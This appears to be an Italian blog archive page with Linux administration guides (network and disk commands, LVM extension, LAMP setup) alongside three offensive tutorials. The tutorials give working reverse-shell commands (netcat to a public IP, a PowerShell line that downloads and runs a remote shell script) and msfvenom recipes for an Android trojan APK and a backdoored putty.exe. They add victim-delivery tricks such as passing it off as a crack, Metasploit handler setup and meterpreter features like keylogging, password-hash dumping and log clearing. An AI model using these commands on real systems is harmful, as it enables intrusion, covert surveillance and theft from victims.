linux Archivi - Nicholas Giordano

Reverse shell

Cosa si intende per reverse shell? Solitamente, per ottenere il controllo di un sistema compromesso, un attaccante punta ad ottenere accesso ad una shell per poter eseguire comandi arbitrari e poter operare direttamente su un sistema.

Immaginando una situazione in cui il sistema attaccato è un server remoto, l’utente attaccante si comporta come client mentre la macchina oggetto dell’attacco è il server remoto. Con il reverse shell i ruoli sono invece invertiti: è la macchina oggetto dell’attacco che avvia la connessione con l’utente remoto, che semplicemente resta in attesa di questa connessione su specifiche porte.

L’attacco mediante reverse shell è molto comune per come i firewall sono solitamente configurati sui server: raramente un firewall permetterà accesso diretto ad una shell da un indirizzo sconosciuto, e le uniche porte ampiamente aperte a tutta la rete saranno con buona probabilità la porta 80 (HTTP) e la 443 (HTTPS). Al contrario delle porte in entrata, i firewall non limitano solitamente le connessioni in uscita dal server, ciò potrebbe permettere ad un attaccante di stabilire una connessione tra un suo server (preferibilmente con un ip pubblico da cui sia possibile fare routing se l’obiettivo è una macchina remota) e la macchina oggetto dell’attacco mediante l’utilizzo di tool come netcat, facendo partire la connessione dalla macchina remota (eliminando le restrizioni delle regole in ingresso imposte dal firewall) e restando semplicemente in attesa di quella connessione.

Per dimostrare quanto detto sopra, ipotizzeremo di attaccare due macchine presenti sulla nostra rete locale, che nel nostro caso saranno due VM: Windows10 e KaliLinux. Per dimostrare l’efficacia dell’attacco useremo invece una macchina all’esterno della nostra rete che può essere una vps, un’ istanza EC2 in AWS, una macchina virtuale su Azure o una droplet su Digital Ocean (nel nostro caso useremo l’ultima opzione). Se non abbiamo la possibilità di creare macchine virtuali sulla nostra rete locale ovviamente nulla ci vieta di effettuare una prova di attacco su un pc fisico o sul nostro stesso sistema.

Setup della macchina “attaccante” (colei che sarà in attesa delle connessioni)

Per prima cosa dobbiamo configurare una macchina linux remota dove più preferiamo, nel nostro caso utilizzeremo DigitalOcean. Se non avete un account su digitalocean potete utilizzare il link che segue per crearne uno, ottenere 100$ di credito gratuito per 60 giorni e fare tutte le prove che volete: https://m.do.co/c/42e75dfe7047 (magari per creare anche un sito web o altro).

Una volta effettuato accesso su digitalocean di basterà creare una nuova droplet come da immagine che segue

Sarà poi possibile scegliere la tipologia di droplet (vm) da creare, nel nostro caso una versione base di ubuntu18 con tutte le impostazioni al minimo va bene. E’ molto importante in questo passaggio ricordare la password/modalità di accesso scelta per la creazione della nostra droplet.

Se non sappiamo come creare una droplet possiamo fare riferimento al seguente video:

Una volta che la nostra droplet è stata creata con successo ci basta cliccarci sopra per visualizzare il suo indirizzo IP, che dovremo copiare e salvarci. Questo indirizzo ci servirà per connetterci e configurare la macchina remota e sarà utilizzando anche dai sistemi attaccati: sarà infatti l’indirizzo a cui questi si collegheranno.

Una volta che abbiamo creato la nostra macchina remota basterà connetterci tramite ssh e iniziare la configurazione (su windows è possibile utilizzare il client Putty).

Apriamo un terminale e scriviamo ssh [email protected]_MACCHINA che nel nostro caso sarà ssh [email protected] , ci verrà a questo punto chiesta la password (scelta in fase di creazione della macchina remota); una volta inserita saremo collegati alla macchina. Netcat è installato di default su tutte le macchine linux, non c’è nulla da installare quindi; dobbiamo però avviare il processo di “ascolto” sulla macchina remota, che proprio come dice la parola stessa resterà in ascolto di connessioni provenienti dalle macchine attaccate.

Per mettere netcat in ascolto digitiamo sul terminale remoto a cui siamo connessi tramite ssh il comando nc -lnvp PORTA -s IP che nel nostro caso sarà nc -lnvp 87 -s 165.227.135.79.

I parametri hanno il seguente significato:

l = listen
n = no DNS (verrà utilizzato unicamente l’ip della macchina remota)
v = verbose
p = porta (la porta su cui saremo in ascolto)
s = specifica l’interfaccia di ascolto

Connessione da macchina target Linux

Vediamo ora come stabilire una reverse shell da una macchina linux “vittima”. Nel nostro caso utilizzeremo una VM Kali Linux. Una volta avviata ci basta aprire il terminale e dare il comando nc -e /bin/bash INDIRIZZO_IP PORTA che nel nostro caso sarà nc -e /bin/bash 165.227.135.79 87. Dopo aver dato questo comando, se torniamo sulla nostra macchina remota noteremo che la shell segnala che effettivamente è stata ricevuta una connessione. Da questo momento, dalla nostra macchina remota, possiamo eseguire qualsiasi comando arbitrario sulla macchina vittima, ci basterà digitarli sulla shell della nostra macchina remota.

Esempio connessione ricevuta su macchina remota

Connessione da macchina target Windows

Al contrario dei sistemi Linux, su Windows netcat non è installato nativamente, possiamo certamente installarlo ma per quello che vogliamo provare a fare sarebbe molto più comodo poter utilizzare qualcosa presente di default sul sistema. Per fare ciò ci aiuta molto la presenza di Powershell sui sistemi Windows. Per fare questo utilizzeremo il repository git https://github.com/swisskyrepo/PayloadsAllTheThings che contiene una serie di script utili a questo scopo, nel nostro specifico caso useremo questo: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#fully-interactive-reverse-shell-on-windows

Sulla macchina remota digitiamo stty raw -echo; (stty size; cat) | nc -lnvp PORTA -s IP che nel nostro caso sarà stty raw -echo; (stty size; cat) | nc -lnvp 87 -s 165.227.135.79. Fatto ciò la nostra macchina remota sarà di nuovo in ascolto e possiamo quindi ora passare alla macchina windows, aprire powershell e digitare IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell IP PORTA che nel nostro caso sarà IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 165.227.135.79 87. Un volta fatto ciò la macchina locale stabilirà una connessione con quella remota in ascolto e come per il caso precedente sarà per noi possibile eseguire comandi tramite shell della macchina remota.

E nella pratica?

Nella realtà dei fatti non avremo mai accesso diretto alle macchine “vittima” per lanciare i comandi visti in precedenza, il trucco è trovare il modo per far lanciare quei comandi alle macchine obiettivo. Può essere fatto in vari modi e utilizzando varie tecniche che non saranno approfondite in questo articolo che ha il solo scopo divulgativo.

Published by Nicholas Giordano on Luglio 9, 2021 | Permalink

Linux System Administration – Basi Fondamentali

In questo brevissimo articolo andiamo a coprire quelle che sono le operazioni più comuni durante l’amministrazione di un sistema Linux, parleremo quindi di una serie di comandi da dover utilizzare in disparate situazioni per analizzare e risolvere meglio eventuali problematiche o richieste.

Attenzione: Questa non sarà una guida “all’amministrazione di un sistema”, ma una raccorda di comandi utili da utilizzare.

Partiamo dalla rete

E’ fondamentale sapere come siamo connessi, su quali e quante interfacce e sopratutto qual’è il nostro indirizzo fisico. Per chi usa linux da molto sarà da sempre stato abituato al comando ifconfig, ebbene, questo comando è ormai desueto, ma dato che ancora funzionante su sistemi datati lo tratteremo lo stesso. ifconfig ci permette di ottenere tutte le informazioni del caso sulle nostre schede direte, semplicemente lanciandolo otterremo informazioni che riguardano: ipv4, ipv6, gateway e maschere di rete per ogni scheda di rete collegata alla nostra macchina (comprese quelle virtuali). Se siamo invece su in sistema recente conviene utilizzare il più comodo comando ip. Ad esempio:

ip address show

per ottenere le stesse informazioni che ottenevamo con ifconfig

ip add show eth0

per ottenere le informazioni su un singolo device di rete (in questo caso eth0)

Le porte utilizzate e i socket occupati

Altra fondamentale operazione d’esser capaci di compiere è quella di conoscere quali porte/socket sono attualmente utilizzate dal sistema e sopratutto quali processi sono utilizzatori e quali ipotetici client nella nostra LAN o WAN possono connettervi. Per fare ciò dobbiamo utilizzare netstat. Utilizzare da solo netstat però ci fornisce una serie molto vasta di informazioni che vanno organizzate secondo criterio ed utilità, ad esempio possiamo passare argomenti a netstat per ottenere risultati utili alla nostra analisi nel seguente modo

netsat -tulpn

così facendo andiamo a filtrare tutte le connessioni udp e tcp (v4 e v6), lo stato di connessione (in ascolto o disconnesso), l’indirizzo di ascolto e il PID/processo che sta occupando quel socket. (Attenzione, per ottenere informazioni sul PID/processo bisogna eseguire netstat come root a meno che non vi siano processi che occupano socket e che sono lanciati dall’utente che esegue il comando).

Così come vale per ifconfig, anche netstat è ormai “obsoleto”, all’interno delle nuove distro troviamo infatti ss che può essere utilizzato come netstat e quindi chiamando ss con i seguenti parametri otteniamo lo stesso risultato

ss -tulpn

E’ interessante poi andare ad analizzare il risultato, che sarà una cosa del genere:

Netid  State   Recv-Q  Send-Q   Local Address:Port    Peer Address:Port                                             
udp    UNCONN  0       0              0.0.0.0:60389        0.0.0.0:*      users:(("avahi-daemon",pid=460,fd=14))    
udp    UNCONN  0       0          224.0.0.251:5353         0.0.0.0:*      users:(("chrome",pid=15588,fd=95))        
udp    UNCONN  0       0          224.0.0.251:5353         0.0.0.0:*      users:(("chrome",pid=15588,fd=44))        
udp    UNCONN  0       0          224.0.0.251:5353         0.0.0.0:*      users:(("chrome",pid=15525,fd=144))       
udp    UNCONN  0       0          224.0.0.251:5353         0.0.0.0:*      users:(("chrome",pid=15525,fd=81))        
udp    UNCONN  0       0              0.0.0.0:5353         0.0.0.0:*      users:(("avahi-daemon",pid=460,fd=12))    
udp    UNCONN  0       0        192.168.0.100:68           0.0.0.0:*      users:(("NetworkManager",pid=465,fd=19))  
udp    UNCONN  0       0                    *:1716               *:*      users:(("kdeconnectd",pid=1395,fd=12))    
udp    UNCONN  0       0                    *:54234              *:*      users:(("avahi-daemon",pid=460,fd=15))    
udp    UNCONN  0       0                    *:5353               *:*      users:(("avahi-daemon",pid=460,fd=13))    
tcp    LISTEN  0       0            127.0.0.1:631          0.0.0.0:*      users:(("cupsd",pid=2219,fd=8))           
tcp    LISTEN  0       0                    *:3306               *:*      users:(("docker-proxy",pid=817,fd=4))     
tcp    LISTEN  0       0                    *:6379               *:*      users:(("docker-proxy",pid=21854,fd=4))   
tcp    LISTEN  0       0                    *:8080               *:*      users:(("docker-proxy",pid=21840,fd=4))   
tcp    LISTEN  0       0                    *:80                 *:*      users:(("docker-proxy",pid=845,fd=4))     
tcp    LISTEN  0       0                    *:1716               *:*      users:(("kdeconnectd",pid=1395,fd=13))    
tcp    LISTEN  0       0                [::1]:631                *:*      users:(("cupsd",pid=2219,fd=7))           
tcp    LISTEN  0       0                    *:443                *:*      users:(("docker-proxy",pid=831,fd=4))

ciò ci aiuta a capire quale servizio è possibile che sia raggiunto internamento dalla macchina che lo esegue e quale anche dalle macchine della rete a cui la macchina è connessa. Osservando i campi di indirizzo infatti possiamo subito distinguere i servizi locali (127.0.0.1) e quelli “pubblici” (0.0.0.0)

La gestione di base del filesystem

Altra operazione di sistema pressoché basilare consiste nel montare semplici partizioni e constatare quanto spazio è occupato da una particolare cartella. Tutte le distribuzioni linux hanno una cartella /mnt solitamente dedicata come “punto di mount” canonico, bisogna ricordare però che è possibile montare una qualsiasi partizione/unità locale o remota in qualsiasi cartella ovunque vi siano i permessi per farlo. Il comando mount se lanciato senza argomenti mostra un listato di tutto ciò che è montato sul sistema, se invece vogliamo montare un’unità ci basterà lanciare

mount *cosa voglio montare* *dove voglio montare*

Che nella realtà dei fatti, immaginando di voler montare la partizione /dev/sda2 sarà

mount /dev/sda2 /mnt

Nel caso in cui volessimo montare automaticamente una o più partizioni/volumi remoti automaticamente al boot dovremo modificare il file fstab con un qualsiasi editor di testo. Tale file si trova in /etc

E se volessimo controllare lo stato di utilizzo di uno o più dischi in un formato “umanamente leggibile?” Per fare ciò possiamo utilizzare df nel seguente modo:

df -h

per visualizzare le partizioni fisiche o remote

df -ah

per visualizzare tutte le partizioni (anche ad esempio i punti di mount virtuali di un’ipotetica applicazione o servizio dockerizzato sulla nostra macchina)

Se invece vogliamo sapere quanto occupi una particolare cartella possiamo utilizzare il comando ls in funzione estesa con il paramertro -l o più professionalmente il comando du

du -sh miacartella/

che restituirà la dimensione della cartella denominata miacartella

La gestione dei processi e dei servizi

Altra cosa fondamentale da saper fare è quella di saper gestire i processi e i servizi/demoni. In primo luogo ci interessa sapere quante risorse un determinato processo sta utilizzando, e in questo caso possiamo utilizzare le utility top o htop (il primo solitamente sempre installato in qualsiasi versione). Se vogliamo però essere più diretti ed individuare un singolo processo e tutti i thread in esso coinvolti possiamo utilizzare ps e grep in pipe e nel seguente modo:

ps aux | grep *nomeprocesso*

Che restituirà l’utilizzo delle risorse (CPU) occupate da un processo e dai suoi figli.

Se invece parliamo di servizi, oltre a poter usare una pipe come quella sopra descritta per valutare lo stato d’esecuzione, è fondamentale poter operare su questi ed in particolar modo conoscerne lo stato (running, not running, error) e operare su quest’ultimo. Può essere utilizzato il comando service, anch’esso però deprecato nelle distribuzioni più recenti che sono passate alla gestione dei servizi utilizzando systemd. Prima di vedere la differenza d’approccio è però importante sapere cosa possiamo chiedere al gestore dei servizi/demoni:

status
start
stop
reload

Utilizzando il comando service la sintassi si presenta in questo modo:

service *nomeservizio* *operazione*

dove nomeservizio è il servizio su cui investigare e operazioni è invece una tra quelle descritte in precedenza. Se ad esempio volessimo conoscere lo stato del servizio nginx utilizzando questo comando dovremo digitare:

service nginx status

Tenendo invece in considerazione il nuovo approccio della maggior parte delle distribuzioni di nuova release che utilizzando systemd come gestore dovremo digitare:

systemctl status nginx

L’unica differenza tra i due comandi è quindi relativa al posizionamento dei loro argomenti, che risultano invertiti.

E se c’è qualcosa che non sappiamo?

In tutte le distro è presente l’utililty man che non è altro che un manuale per ogni comando, se quindi vogliamo sapere come funziona un programma o comando e come utilizzarlo ci basterò fare

man *comando*

che restituirà tutte le informazioni necessarie ad un utilizzo anche molto approfondito del *comando* passato come argomento.

Una cosa fondamentale che manca in questo breve articolo è la trattazione delle operazioni schedulate, il cron, che verrà trattato in un articolo interamente dedicato ad esso.

Published by Nicholas Giordano on Giugno 8, 2019 | Permalink

Estendere partizione LVM su un VPS

Per chi avesse mai acquistato un server virtuale presso un qualsiasi servizio cloud: Aruba, Register o simili; una volta configurata per la prima volta la propria macchina dopo aver scelto i tagli di memoria, la tipologia di processore e lo spazio di archiviazione può nascere l’esigenza di modificare uno di questi parametri per un qualsiasi motivo. Modificare potenza di calcolo e tagli di memoria è un’operazione abbastanza banale in quanto ci basterà recarci sul nostro pannello di amministrazione del servizio e semplicemente aggiungere più RAM o più cores alla nostra macchina e i cambiamenti saranno subito applicati dopo un riavvio. Per quanto riguarda invece lo spazio di archiviazione il discorso è differente in quanto si, si può aggiungere più “spazio” di memoria semplicemente acquistandolo dal nostro pannello clienti, ma questo non sarà automaticamente disponibile in quanto non automaticamente allocato.

In questo breve articolo vediamo dunque come estendere la partizione primaria del nostro vps con l’eventuale “free space” acquistato.

ATTENZIONE: prima di effettuare qualsiasi operazione di ridimensionamento o partizionamento è fondamentale eseguire un backup di tutti i dati presenti sulla macchina onde evitare di perdere tutto nel caso di errori! Se leggendo questa guida non sei sicuro di quello che stai facendo contatta il tuo fornitore di servizi che ti fornirà supporto tecnico (a pagamento).

Passo 1: creazione di un nuova partizione con lo spazio non allocato

Colleghiamoci tramite ssh alla nostra macchina e utilizzando cfdisk andiamo a creare una nuova partizione: questa dovrà essere di tipo Logico e avere il formato 8E. Possiamo fare tutto ciò digitando cfdisk sulla riga di comando e utilizzare le frecce direzionali per selezionare lo spazio allocato, cliccare su new, impostare tipologia e formato e poi fare click su write per salvare le modifiche.

Passo 2: creare un volume fisico per la partizione creata

Una volta creata la partizione ad essa sarà assegnato un riferimento (es: /dev/sda6), dobbiamo a questo punto creare un volume fisico per questa partizione e per farlo ci basterà fare da riga di comando:

pvcreate /dev/sda6

*in caso di errori, nel caso in cui ad esempio il sistema indichi che la partizione /dev/sda6 (nel nostro caso) fosse non pronta o non trovata ci basterà riavviare la macchina virtuale e ripetere la creazione del volume fisico.

Una volta fatto ciò andiamo a controllare i volumi fisici, diamo quindi il comando

pvdisplay

che ci restituisce un qualcosa di simile:

E’ fondamentale ricordare il vg name dell volume appena creato per la nostra partizione

Passo 3: estendere il volume appena creato

Possiamo farlo ricordandoci il vg name e dando il comando

vgextend vg /dev/sda6

Passo 4: controllare il volume logico da espandere

Il volume logico da espandere non è altro che la partizione virtuale alla quale vogliamo aggiungere il nostro “free space” che in questo momento della guida corrisponde al volume /dev/sda6 precedentemente creato.

Per far ciò in primo luogo dobbiamo capire il nome della partizione logica da espandere, digitiamo quindi

lvdisplay

che ci restituirà qualcosa del genere

una volta compreso il nome del volume da espandere da terminale possiamo dare il comando

lvextend -l+100%FREE /dev/vg/lv_root

che espanderà il nostro volume logico, ed infine per espandere il file system e rendere disponibile lo spazio non allocato diamo il comando

resize2fs /dev/mapper/vg-lv_root

Una volta fatto ciò il nostro disco primario risulterà aumentato dello spazio specificato al momento della creazione della partizione /dav/sda6

Passo 5: controllare che tutto si andato come dovrebbe

Per controllare l’effettiva applicazione delle modifiche basterà dare il comando

df -h

Una volta fatto ciò non sarà inoltre necessario riavviare la nostra vps. I cambiamenti saranno immediati.

😀

Published by Nicholas Giordano on Agosto 22, 2018 | Permalink

Creare Trojan per android

In questo articolo andiamo a vedere come creare un trojan per android. Andremo ad utilizzare gli stessi tool utilizzati nell’articolo precedente in cui andavamo a fare la stessa operazione con windows, solo che questa volta, per variare e per avere un panorama più ampio, invece della console di Metasploit msfconsole andreamo a gestire il nostro attacco ad uno o più host utilizzano un’interfaccia grafica chiamata Armitage.

Possiamo utilizzare questa interfaccia per gestire molo più comodamente un qualsiasi tipo di attacco trasmesso tramite un vettore trojan iniettato dentro un programma di natura benevola o dentro un trojan realizzato ad hoc.

In questa guida andremo a vedere la seconda ipotesi: creeremo quindi un’apk android il cui unico scopo sia quello di garantirci accesso al dispositivo vittima, in futuro vedremo anche come iniettare il nostro trojan in applicazioni benevoli per rendere il nostro attacco un filo più piccante.

Tool necessari: li troviamo tutti in kali linux

Iniziamo con la creazione del trojan, apriamo la console e digitiamo

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.67 LPORT=4444 R > app.apk

Come visto in precedenza alla voce LPORT e LHOST andiamo ad inserire rispettivamente una porta libera da noi scelta e l’indirizzo IP (remoto o locale della macchina attaccante)

Una volta fatto ciò troveremo nella cartella in cui ci troviamo un file denominato app.apk che contiene il nostro trojan, il passaggio successivo è quello di andare a firmare digitalmente l’applicazione android (per motivi di sicurezza senza una valida firma potrebbe non essere possibile installarla). Lo andiamo a fare digitando da terminale

d2j-apk-sign app.apk

Fatto ciò comparirà un nuovo file denominato app-signed.apk. E’ proprio questo il file che dobbiamo andare ad inviare alla nostra vittima.

Volendo, ma lo vedremo in un secondo articolo, possiamo andare a modificare l’apk da noi creato per destare meno sospetti utilizzando apktool, contenuto sempre all’interno di kali linux.

Una volta creato il nostro trojan, prima che la vittima lo apra, dobbiamo creare un handler che sia pronto a gestire l’evetuale connessione della vittima. Possiamo fare ciò utilizzando Armitage. Immaginando che armitage sia correttamente installato, dopo aver avviato postgresql con il comando

service postgresql start

possiamo avviare armitage cercandolo tra le applicazioni nel finder o semplicemente scrivendo da console

armitage

Una volta avviato ci troviamo di fronte ad una schermata del genere:

Dal menù di sinistra andiamo alla voce payload->android->meterpreter e poi facciamo doppio click sulla voce reverse_tcp (che è il tipo di payload che stiamo utilizzando per questo trojan).

Ci si aprirà la seguente schermata in cui dobbiamo andare ad impostare l’ip della macchina attaccante (se quello già presente non fosse corretto) e la porta che abbiamo scelto nel momento in cui abbiamo creato il trojan.

Nel momento in cui clicchiamo su Lauch infice, si apre una nuova tab nella parte bassa della nostra schermata: siamo ufficialmente in ascolto e non ci resta che aspettare che la vittima apra l’apk malevolo.

Nel momento in cui uno o più dispositivi aprono il nostro apk li vedremo comparire nella nostra schermata di armitage in questo modo:

Possiamo considerarci ufficialmente in dialogo con il dispositivo attaccato nel momento in cui vediamo comparire i ‘fulmini’, ora possiamo digitare help nella console per vedere la lista di tutti i comandi o cliccare con il tasto destro sull’icona del dispositivo attaccato appena comparso per vedere tutte le possibilità di iterazioni.

Le cose che possiamo fare sono tante: registrazioni audio/video dalla webcam, stream diretto dalla webcam, avvio di applicazioni, visualizzare tutti i file, caricare file sul dispositivo remoto, inviare sms, geolocalizzare, scaricare chat, elenco contatti ed elenco chiamate del dispositivo.

PS: anche questa guida è fatta solamente a scopo informativo! 😀

Sui dispositivi di nuovissima generazione (galaxy s8 in su) è necessario utilizzare encoder o iniettare il trojan in un apk benevolo per evitare che il sistema ne riconosca la pericolosità (samsung ha adottato numerose misure di sicurezza di recente, cosa che purtroppo non si può dire per tutti i produttori di dispositivi)

Published by Nicholas Giordano on Settembre 5, 2017 | Permalink

Creare un Trojan per garantirci accesso remoto ad un sistema

In questa guida andiamo a vedere una tecnica molto interessante su come creare un trojan. Lo scopo è quello di garantirci l’accesso remoto ad un sistema, in questa guida prendiamo come ‘vittima’ una macchina con piattaforma windows, volendo però si può fare la stessa cosa per macchine con S.O. linux o osx.

Per fare ciò andremo a creare un trojan contenente un particolare payload che alla sua esecuzione ci andrà ad aprire una shell di controllo sulla macchina vittima.

Ci sono varie tecniche che permettono la generazione di un trojan di questo tipo:

Possiamo creare un semplice trojan che si avvierà
Possiamo andare ad infettare un programma legittimo che continuerà ad effettuare tutte le sue normali operazioni ma che al suo interno conterrà il payload che serve a noi per avere accesso remoto alla macchina.

Ovviamente l’opzione da tenere maggiormente in considerazione è la seconda poichè un utente vittima, anche totalmente inesperto potrebbe insospettirsi vendo un programma che avviato non faccia nulla, o in linea di massima sarà meno propenso ad avviare un programma che non conosce.

La scelta del programma da infettare è indifferente, in base al caso e in base alla vittima possiamo sceglierne uno o un altro: può essere il file di installazione di un programma (un setup qualsiasi) o un qualsiasi applicativo avviabile.

In un caso reale sarebbe abbastanza facile fornire al nostro utente vittima un file che a lui serve ma che contiene anche il nostro trojan, immaginiamo un ‘amico’ che ci chieda la crack di un programma o un collega che ci chieda l’ultima versione del programma di installazione della suite di office.

Per fare ciò utilizzeremo MSFVenom, un particolare tool del Metasploit Framework il cui compito è quello di generare payload.

Possiamo installare questo framework su una qualsiasi macchina linux, per comodità utilizzeremo una distribuzione basata su kali linux che contiene già al suo interno questo tool.

Per questioni di praticità faremo questo attacco in locale, nulla però ci vieta di installare il tool su un nostro server o su di un VPS e attaccare anche da remoto.

Cosa ci serve?

IP della macchina attaccante (il trojan una volta in esecuzione avvierà un canale di comunicazione con questo indirizzo)
Una porta di rete di nostra arbitraria scelta (useremo la porta 4445 che solitamente non è utilizzata da nessun applicativo preinstallato sulla macchina vittima windows)

Apriamo dunque il nostro terminale linux con il comando ifconfig possiamo facilmente andare ad ottenere il nostro ip (una serie di nostri ip, uno per ogni scheda di rete sia locale che remoto)

Nel mio caso che sono connesso ad internet sull’interfaccia wlan0 il mio ip locale sarà 192.168.1.3

Una volta ottenuto il nostro indirizzo non dobbiamo far altro che scegliere il programma in cui iniettare il nostro trojan, scegliamo putty, un’utility utilizzata da molti utenti windows per stabilire connessioni SSH (possiamo scegliere un qualsiasi programma).

Posizioniamo il programma vittima in una qualsiasi cartella e apriamola da terminale. Scriviamo poi da shell:

msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows -x nomeprogramma.exe -k LHOST=nostroip LPORT=portascelta -e x86/shikata_ga_nai -i 3 -b "\x00" -f exe -o programmainfettato.exe

Al campo nomeprogramma.exe sostituiamo il nome del programma che vogliamo infettare, alla voce LHOST e LPORT inseriamo rispettivamente il nostro ip e la porta da noi scelta e alla voce programmainfetto.exe inseriamo il nome che vogliamo dare alla versione infettata del programma che abbiamo deciso di utilizzare come vettore del nostro trojan.

Nel mio caso sarà:

msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows -x putty.exe -k LHOST=192.168.1.3 LPORT=4445 -e x86/shikata_ga_nai -i 3 -b "\x00" -f exe -o putty2.exe

La schell ci comunicherà che tutto è andato a buon fine e che il programma infetto è stato creato con il nome di putty2.exe, nome che abbiamo scelto noi tramite l’opzione -o nel comando precedente.

Ora non resta altro da fare che attendere che la vittima apra il programma infetto, prima però dobbiamo configurare un handler che possa gestire la connessione che il trojan instaurerà tra la macchina vittima e la nostra. Sempre da shell avviamo:

Postgresql con il comando

service postrgresql start

msfconsole (che useremo per creare l’handler e attendere che la vittima apra il programma)

msfconsole

Una volta avviata ci troviamo di fronte alla seguente schermata

Nella console di Metasploit appena aperta (msfconsole) digitiamo

use exploit/multi/handler

Poi digitiamo

set PAYLOAD windows/meterpreter/reverse_tcp

poichè è quello il formato del payload scelto nella creazione del nostro trojan

Settiamo ora host e porta lanciando i due comandi

set LHOST nostro_ip

set LPORT porta_scelta

che nel mio caso saranno

set LHOST 192.168.168.1.3

set LPORT 4445

L’ultima cosa che ora ci resta da fare è mettere l’hadler in ascolto aspettando che la vittima apra il file utilizzando il comando run

Eseguite con successo tutte queste operazioni il risultato sarà il seguente:

Ora non resta altro che attendere (senza ovviamente chiudere la console) che la vittima apra il programma infettato.

Non appena la vittima avvierà il programma la console ce lo notificherà: SIAMO UFFICIALMENTE NEL PC VITTIMA REMOTO!

Possiamo ora fare qualsiasi cosa, possiamo usare questa shell come una shell normale (utilizzando il comando shell) o utilizzare particolari script per fare di tutto e di più. utilizzando il comando help possiamo vedere gli script preimpostati che variano dal più banale: cambia lo sfondo del desktop al registra audio/video da webcam/microfono.

Avendo accesso come se fosse una shell possiamo inoltre navigare in tutte le cartelle di sistema, accedere a file, cancellare file e qualsiasi cosa ci interessi fare. Oltre ai semplici comandi da shell ecco una lista delle cose più interessanti che metasploit ci mette a disposizione una volta instaurata una connessione:

    Command                   Description
    -------                   -----------
    ?                         Help menu
    background                Backgrounds the current session
    bgkill                    Kills a background meterpreter script
    bglist                    Lists running background scripts
    bgrun                     Executes a meterpreter script as a background thread
    channel                   Displays information or control active channels
    close                     Closes a channel
    disable_unicode_encoding  Disables encoding of unicode strings
    enable_unicode_encoding   Enables encoding of unicode strings
    exit                      Terminate the meterpreter session
    get_timeouts              Get the current session timeout values
    help                      Help menu
    info                      Displays information about a Post module
    irb                       Drop into irb scripting mode
    load                      Load one or more meterpreter extensions
    machine_id                Get the MSF ID of the machine attached to the session
    migrate                   Migrate the server to another process
    quit                      Terminate the meterpreter session
    read                      Reads data from a channel
    resource                  Run the commands stored in a file
    run                       Executes a meterpreter script or Post module
    sessions                  Quickly switch to another session
    set_timeouts              Set the current session timeout values
    sleep                     Force Meterpreter to go quiet, then re-establish session.
    transport                 Change the current transport mechanism
    use                       Deprecated alias for 'load'
    uuid                      Get the UUID for the current session
    write                     Writes data to a channel


Stdapi: File system Commands
============================

    Command       Description
    -------       -----------
    cat           Read the contents of a file to the screen
    cd            Change directory
    checksum      Retrieve the checksum of a file
    cp            Copy source to destination
    dir           List files (alias for ls)
    download      Download a file or directory
    edit          Edit a file
    getlwd        Print local working directory
    getwd         Print working directory
    lcd           Change local working directory
    lpwd          Print local working directory
    ls            List files
    mkdir         Make directory
    mv            Move source to destination
    pwd           Print working directory
    rm            Delete the specified file
    rmdir         Remove directory
    search        Search for files
    show_mount    List all mount points/logical drives
    upload        Upload a file or directory


Stdapi: Networking Commands
===========================

    Command       Description
    -------       -----------
    arp           Display the host ARP cache
    getproxy      Display the current proxy configuration
    ifconfig      Display interfaces
    ipconfig      Display interfaces
    netstat       Display the network connections
    portfwd       Forward a local port to a remote service
    resolve       Resolve a set of host names on the target
    route         View and modify the routing table


Stdapi: System Commands
=======================

    Command       Description
    -------       -----------
    clearev       Clear the event log
    drop_token    Relinquishes any active impersonation token.
    execute       Execute a command
    getenv        Get one or more environment variable values
    getpid        Get the current process identifier
    getprivs      Attempt to enable all privileges available to the current process
    getsid        Get the SID of the user that the server is running as
    getuid        Get the user that the server is running as
    kill          Terminate a process
    localtime     Displays the target system's local date and time
    pgrep         Filter processes by name
    pkill         Terminate processes by name
    ps            List running processes
    reboot        Reboots the remote computer
    reg           Modify and interact with the remote registry
    rev2self      Calls RevertToSelf() on the remote machine
    shell         Drop into a system command shell
    shutdown      Shuts down the remote computer
    steal_token   Attempts to steal an impersonation token from the target process
    suspend       Suspends or resumes a list of processes
    sysinfo       Gets information about the remote system, such as OS


Stdapi: User interface Commands
===============================

    Command        Description
    -------        -----------
    enumdesktops   List all accessible desktops and window stations
    getdesktop     Get the current meterpreter desktop
    idletime       Returns the number of seconds the remote user has been idle
    keyscan_dump   Dump the keystroke buffer
    keyscan_start  Start capturing keystrokes
    keyscan_stop   Stop capturing keystrokes
    screenshot     Grab a screenshot of the interactive desktop
    setdesktop     Change the meterpreters current desktop
    uictl          Control some of the user interface components


Stdapi: Webcam Commands
=======================

    Command        Description
    -------        -----------
    record_mic     Record audio from the default microphone for X seconds
    webcam_chat    Start a video chat
    webcam_list    List webcams
    webcam_snap    Take a snapshot from the specified webcam
    webcam_stream  Play a video stream from the specified webcam


Priv: Elevate Commands
======================

    Command       Description
    -------       -----------
    getsystem     Attempt to elevate your privilege to that of local system.


Priv: Password database Commands
================================

    Command       Description
    -------       -----------
    hashdump      Dumps the contents of the SAM database


Priv: Timestomp Commands
========================

    Command       Description
    -------       -----------
    timestomp     Manipulate file MACE attributes

La seguente guida è stata fatta solo a scopo informativo 🙂 <3

Published by Nicholas Giordano on Settembre 3, 2017 | Permalink

Configurazione di base di un web server linux: Apache, PHP e Mysql

Mai avuto necessità o curiosità di installare / configurare un web server linux?

Ci sono tanti modi di mettere online un sito web, possiamo utilizzare uno dei tanti piani di hosting messi a disposizioni da uno dei tantissimi provider, oppure possiamo aver bisogno di una soluzione più personalizzabile, più potente o magari necessitiamo di funzioni che il semplice piano di hosting, con tutte le sue “limitazioni” non ci permette di implementare. In questa breve e semplice guida vedremo come installare e configurare un server LAMP (Linux-Apache-Mysql-PHP) sulla nostra macchina linux o il nostro ipotetico server remoto (VPS o dedicato che sia).

